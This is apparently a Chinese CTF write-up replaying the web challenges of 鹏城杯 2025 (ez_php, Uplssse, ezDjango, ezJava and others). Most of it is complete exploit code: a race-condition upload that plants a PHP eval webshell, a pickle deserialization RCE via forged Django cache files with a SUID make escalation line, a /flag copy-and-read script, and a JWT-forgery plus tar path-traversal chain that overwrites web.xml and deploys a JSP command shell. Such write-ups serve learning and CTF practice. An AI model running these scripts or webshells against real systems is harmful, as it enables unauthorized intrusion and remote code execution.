鹏城杯2025web复现

草台班子比赛

共用一个靶机真是抽象,没怎么打简单看一下题目吧

X_xSe

找了半天的flag,结果你说你在数据库里面?

xxe黑盒不知道过滤了啥,反正当时xxe外带成功了,后面就没做出来。

9000端口还有一个数据库的web服务(可以用gopher协议探测端口),简单绕过过滤sqlite盲注即可。

具体可以看https://baozongwi.xyz/p/pcb-2025/#pcb5-x_xse

ez_php

又是黑盒

cookie是用的反序列化的格式,伪造一下admin即可,过滤了admin需要双写一下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
// 修正后的生成脚本
namespace Session;

class User {
    // 必须是 private 才能生成 \0ClassName\0PropertyName
    private $username = "aadmindmin";
}

$user = new User();
$serialized = serialize($user);

// 确认序列化结果
var_dump($serialized);

// 输出 Base64 编码后的 Payload
echo base64_encode($serialized);
?>

进后台后有个任意读取,后面也是没翻到flag,看了wp发现是在flag.php里面,php被过滤了,用类似于羊城杯那道的绕过方式

1
/dashboard.php?filename=flag.php/

Uplssse

黑盒…

cookie还是用的反序列化,签一个is_admin:1进去了

进去是一个文件上传,上传后有时间检测,一下子想到条件竞争,当时没打进去。因为用的同一个靶机,感觉好多队伍是碰巧用上别人的webshell了。没有环境也没法复现,不过找到这篇wp,我觉得思路是对的。

f12中的提示

1
2
<meta name="dev-settings" content="autoload_extension=.inc">
<meta name="dev-settings" content="tmp_directory=./tmp/">

当PHP反序列化一个未定义的类时,会触发spl_autoload机制去加载类文件,根据提示,autoload会去 ./tmp/类名.inc 查找类定义,想到我们刚才越权位置正好有一个反序列化,可以上传一个.inc文件到tmp目录,并通过cookie去触发autoload,包含Evil.inc时执行其中的PHP代码,直接放上wp上的exp。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import threading
import base64

TARGET = "http://ip"
ADMIN_COOKIE = {"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="}
EVIL_COOKIE = {"user_auth": base64.b64encode(b'O:4:"Evil":0:{}').decode()}

# 恶意.inc内容 - 写入持久化shell
PAYLOAD = b'''<?php
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');
echo "SHELL_WRITTEN";
class Evil {}
?>'''

success = False

def upload():
    """用Admin Cookie上传Evil.inc"""
    global success
    whilenot success:
        try:
            requests.post(f"{TARGET}/upload.php",
                files={'file': ('Evil.inc', PAYLOAD, 'application/octet-stream')},
                data={'upload': 'upload'},
                cookies=ADMIN_COOKIE, timeout=1)
        except: pass

def trigger():
    """用Evil Cookie触发autoload"""
    global success
    whilenot success:
        try:
            r = requests.get(f"{TARGET}/upload.php", cookies=EVIL_COOKIE, timeout=1)
            if'SHELL_WRITTEN'in r.text:
                success = True
                print("[+] Shell written successfully!")
        except: pass

# 启动多线程
for _ in range(5):
    threading.Thread(target=upload, daemon=True).start()
for _ in range(10):
    threading.Thread(target=trigger, daemon=True).start()

import time
time.sleep(30)

ezDjango

终于给源代码了,原型是香山杯2023决赛ezcache,几乎没改什么东西

0x01 代码审计

看一下整体结构

image-20251223222909448

/app目录主要负责应用的配置,/cacheapp目录主要负责应用的业务

从/cacheapp路由入手:

image-20251223220022146

/generate

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@csrf_exempt
def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro', ''))
        user = request.user if request.user.is_authenticated else 'Guest'
        blacklist = ['admin', 'config.']
        for word in blacklist:
            if word in intro:
                return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
        
        if not f:
            return HttpResponse("❌ 没有上传文件")
        
        if not filename:
            filename = f.name
        if '.py' in filename:
            return HttpResponse("❌ 不允许上传.py文件")
        try:
            static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
            os.makedirs(static_dir, exist_ok=True)
            filepath = os.path.join(static_dir, filename)
            write_file_chunks(f, filepath)
            
            return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
            
        except Exception as e:
            return HttpResponse(f"❌ 文件上传失败: {str(e)}")
    
    return render(request, 'generate.html')

intro参数这里存在格式化字符串漏洞,那就可以读取任意 user 对象里的内容(不能执行方法)

1
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}

image-20251223221854099

也可以读取其他的信息,不过因为都给了源码,本地和源码中settings.py应该大差不差。filename这里文件上传,可以路径穿越覆盖任意文件(只过滤了py),暂时没看出能干什么。

/upload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')

还是可以路径穿越,不过只允许.cache结尾的文件。

/copy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')

src和dst都没有过滤,又是可以任意目录移动文件。

/cache/viewer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@csrf_exempt
def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')
# utils.py
def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def read_file_bytes(path: str) -> bytes:
    with open(path, "rb") as f:
        return f.read()

传入key可以任意读取.djcache文件(前提是计算出文件名)

/cache/trigger

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)
            if isinstance(val, (bytes, bytearray)):
                return json_success('Triggered', value_b64=base64.b64encode(val).decode())
            return json_success('Triggered', value=str(val))
        except Exception as e:
            return json_error(str(e))
    return json_error('POST required')

跟进一下这个cache

image-20251223225917664

Django 会从 settings.CACHES 读取缓存配置,找一下settings.py里怎么写的

image-20251223230023772

配置把默认缓存后端设成了 Django 的文件缓存 FileBasedCache,继续跟进FileBasedCache

image-20251223230158903

get方法这里存在严重的pickle反序列化漏洞,可以进行RCE。这里不是直接传入pickle,而是将恶意pickle构造成合法的.djcache

image-20251224123431261

一个合法的 .djcache 文件结构是:

1
[pickle(expiry)] + [zlib(pickle(value))]

我们构造的时候要保证它没有过期

1
2
3
4
5
6
7
8
9
class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

0x02 预期

可以说是漏洞百出,整理一下上面的思路

1.通过/generate路由格式化字符串漏洞泄露出缓存路径和缓存key

2.制作恶意反序列化文件保存为.cache文件

3.通过/upload路由上传.cache文件

4.通过缓存key计算出文件名

5.通过/copy路由将.cache文件复制到对应的缓存路径(文件名使用计算好的,后缀使用.djcache)

6.通过/cache/trigger传入缓存key触发picke反序列化

7.远程环境还有一个suid make提权

贴一下baozongwi师傅的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx

BASE_URL = 'http://ip'

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        # cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

def get_server_config(client):
    def fetch(payload, fallback, name):
        try:
            resp = client.post(
                "/generate/",
                data={'intro': payload},
                files={'file': (name, b'1', 'application/octet-stream')}
            )
            match = re.search(r'<h3>(.*?)</h3>', resp.text)
            return match.group(1).strip() if match else fallback
        except Exception:
            return fallback

    cache_dir = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}',
        '/tmp/django_cache',
        'loc.txt',
    )
    cache_key = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}',
        'pwn',
        'key.txt',
    )
    return cache_dir, cache_key

def run_exploit():
    target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')

    with httpx.Client(base_url=target_url, timeout=5.0) as client:
        print(f"[*] Target: {target_url}")

        cache_dir, cache_key = get_server_config(client)
        print(f"[+] Cache Dir: {cache_dir}")
        print(f"[+] Cache Key: {cache_key}")

        cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
        destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"

        payload_data = construct_payload()
        try:
            print("[*] Uploading payload...")
            upload_resp = client.post(
                "/upload/",
                data={'filename': 'exploit.cache'},
                files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
            )
            uploaded_path = upload_resp.json().get('filepath')
            
            if not uploaded_path:
                print("[-] Upload failed, no filepath returned.")
                return
            print(f"[+] Uploaded to temporary path: {uploaded_path}")

            print(f"[*] Copying to {destination_path}...")
            client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})

            print("[*] Triggering deserialization...")
            trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
            
            result = trigger_resp.json()
            b64_output = result.get('value_b64')
            
            if b64_output:
                flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
                print(f"\n[SUCCESS] Flag: {flag}\n")
            else:
                print("[-] No output in trigger response.")
                
        except httpx.RequestError as e:
            print(f"[-] Network error: {e}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == '__main__':
    run_exploit()

image-20251224124305138

0x03 非预期

与其说是题目的非预期,不如说是题目共用一个靶机的环境造成的非预期

从预期的思路里面看到,我们有一个.djcache文件任意读/cache/viewer路由没有使用。结合还有/copy路由,我们可以直接把flag移动到缓存目录并重命名,接着.djcache文件任意读即可。但题目本来的设计flag应该是400权限,我猜因为有些队伍打通了就顺便把权限改了造成了非预期,难评…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import hashlib
BASE_URL = "http://ip"

# 这个key随便伪造
key = "pwn"
cache_filename = hashlib.md5(key.encode()).hexdigest() + '.djcache'
print(f"Cache filename: {cache_filename}")
data = {
    'src': '/flag',
    'dst': f'/tmp/django_cache/{cache_filename}'
}
resp = requests.post(f"{BASE_URL}/copy/", data=data)
print(f"Result: {resp.json()}")

data = {
    'key': key
}
resp = requests.post(f"{BASE_URL}/cache/viewer/", data=data)
result = resp.json()
if result.get('status') == 'success':
    raw_hex = result.get('raw_content', '')
    flag_content = bytes.fromhex(raw_hex).decode('utf-8')
    print("FLAG:")
    print(flag_content)

image-20251224124946152

ezJava

0x01 路径穿越

给了一个提示

1
2
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) 
RewriteRule ^/download$ /%2 [B,L] 

怎么似曾相识,原来是在n1ctf2025上出现过啊,利用的是CVE-2025-55752

1
/download?path=/uploads/..%2fWEB-INF%2fweb.xml

先读取到了web.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <display-name>JWT Login WebApp</display-name>
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>com.ctf.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>com.ctf.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DashboardServlet</servlet-name>
        <servlet-class>com.ctf.DashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>BackUpServlet</servlet-name>
        <servlet-class>com.ctf.BackUpServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/login</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/register</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DashboardServlet</servlet-name>
        <url-pattern>/dashboard/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <url-pattern>/admin/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>BackUpServlet</servlet-name>
        <url-pattern>/backup/*</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
</web-app>

可以看到主要的类有五个,分别读取一下

1
2
/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
...

下载之后用idea或者jadx反编译

0x02 代码审计

jwt越权

image-20251224181723549

admin这里发现一个jwtUtil(也在com.ctf包里面),读取一下class文件并反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public class JwtUtil {
    private static final Key key = new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
    private static final long EXPIRATION = 1800000;

    public static String generateToken(String username) {
        return Jwts.builder().setSubject(username).setExpiration(new Date(System.currentTimeMillis() + EXPIRATION)).signWith(key).compact();
    }

    public static String validateToken(String token) {
        try {
            Jws<Claims> claims = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token);
            return ((Claims) claims.getBody()).getSubject();
        } catch (JwtException e) {
            return null;
        }
    }
}

找到jwt-key以及加密方法,签一个admin即可越权

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import jwt
import time

secret = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"

payload = {
    "sub": "admin",                 # 管理员用户名
    "exp": int(time.time()) + 1800  # 30 分钟
}

token = jwt.encode(payload, secret, algorithm="HS256")

print("jwt=" + token)

admin路由

image-20251224182323180

有四个路由主要看一下upload路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"), new String[0]);
        if (!fileDir.toFile().exists()) {
            fileDir.toFile().mkdirs();
        }
        resp.setContentType("application/json; charset=UTF-8");
        try {
            Part filePart = req.getPart("file");
            if (filePart == null) {
                resp.getWriter().write("{\"error\":\"no file uploaded\"}");
                return;
            }
            Path targetPath = Paths.get(getServletContext().getRealPath("tmp/out.tar"), new String[0]);
            InputStream in = filePart.getInputStream();
            try {
                OutputStream out = Files.newOutputStream(targetPath, new OpenOption[0]);
                try {
                    byte[] buf = new byte[8192];
                    while (true) {
                        int len = in.read(buf);
                        if (len == -1) {
                            break;
                        } else if (!new String(buf, 0, len, StandardCharsets.UTF_8).contains("ホ") && !new String(buf, 0, len, StandardCharsets.UTF_8).contains("ン")) {
                            out.write(buf, 0, len);
                        }
                    }
                    if (out != null) {
                        out.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                    TInputStream tis = new TInputStream(new BufferedInputStream(Files.newInputStream(targetPath, new OpenOption[0])));
                    TarEntry entry = tis.getNextEntry();
                    if (entry != null) {
                        byte[] data = new byte[2048];
                        FileOutputStream fos = new FileOutputStream(getServletContext().getRealPath("uploads") + entry.getName());
                        BufferedOutputStream dest = new BufferedOutputStream(fos);
                        while (true) {
                            int count = tis.read(data);
                            if (count == -1) {
                                break;
                            } else {
                                dest.write(data, 0, count);
                            }
                        }
                        System.out.println(new String(data));
                        dest.flush();
                        dest.close();
                    }
                    tis.close();
                    File f = targetPath.toFile();
                    if (f.exists() && f.isFile()) {
                        boolean ok = f.delete();
                        if (!ok) {
                            resp.getWriter().write("{\"status\":\"delete failed\"}");
                            return;
                        }
                    }
                    resp.getWriter().write("{\"status\":\"ok\"}");
                } catch (Throwable th) {
                    if (out != null) {
                        try {
                            out.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } finally {
            }
        } catch (Exception e) {
            resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
        }
    }

上传tar文件,并自动解压,但没有校验tar包内的文件名,存在路径穿越覆盖任意文件漏洞。我们可以上传一个jsp,但是这里的web.xml是不支持jsp的,需要先覆盖web.xml。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>
  
  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>

0x03 exploit

总结思路:

1.jwt越权进入admin

2.调用admin/upload覆盖web.xml

3.调用admin/upload上传jsp文件到根目录,rce

贴上baozongwi师傅的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import httpx
import jwt
import datetime
import tarfile
import io
import time
import sys

TARGET_URL = "http://ip"
UPLOAD_URL = f"{TARGET_URL}/admin/upload"
SECRET_KEY = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
SHELL_FILENAME = "/../shell.jsp"
SHELL_CONTENT = b'''<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b, 0, a)); } out.print("</pre>"); }%>'''

def get_admin_token():
    payload = {
        "sub": "admin",
        "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(minutes=60)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def create_tar_bytes(filename, content_bytes):
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        info = tarfile.TarInfo(name=filename)
        info.size = len(content_bytes)
        tar.addfile(info, io.BytesIO(content_bytes))
    return tar_buffer.getvalue()

def upload_tar(client, token, tar_name, tar_data):
    cookies = {"jwt": token}
    files = {"file": (tar_name, tar_data, "application/x-tar")}
    return client.post(UPLOAD_URL, cookies=cookies, files=files, timeout=10.0)

def upload_web_xml(client, token, xml_path):
    try:
        with open(xml_path, "rb") as f:
            xml_data = f.read()
    except FileNotFoundError:
        print("Error: web.xml not found")
        sys.exit(1)

    tar_data = create_tar_bytes("/../WEB-INF/web.xml", xml_data)
    print(f"Payload size: {len(xml_data)} bytes")
    print("Uploading new web.xml...")
    r = upload_tar(client, token, "config.tar", tar_data)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")

def deploy_shell(client, token):
    tar_data = create_tar_bytes(SHELL_FILENAME, SHELL_CONTENT)
    upload_tar(client, token, "pwn.tar", tar_data)

def run_shell(client, cmd):
    final_shell_url = f"{TARGET_URL}/shell.jsp"
    params = {"pwd": "023", "i": cmd}
    r = client.get(final_shell_url, params=params, timeout=10.0)
    if r.status_code == 200:
        output = r.text.replace("<pre>", "").replace("</pre>", "").strip()
        print(output)

if __name__ == "__main__":
    token = get_admin_token()
    with httpx.Client() as client:
        try:
            upload_web_xml(client, token, "web.xml")
        except Exception as e:
            print(f"Upload failed: {e}")
            sys.exit(1)

        print("Waiting 10 seconds for reload...")
        time.sleep(10)
        print("Deploying shell...")
        try:
            deploy_shell(client, token)
        except Exception:
            pass

        time.sleep(1)
        try:
            run_shell(client, "env")
        except Exception:
            pass

当然这应该不是这个题目的预期(正好碰上热部署了),算了,反正这题也是出的一团糟…

参考文章

2025鹏城杯 Writeup by Mini-Venom

PCB2025 by baozongwi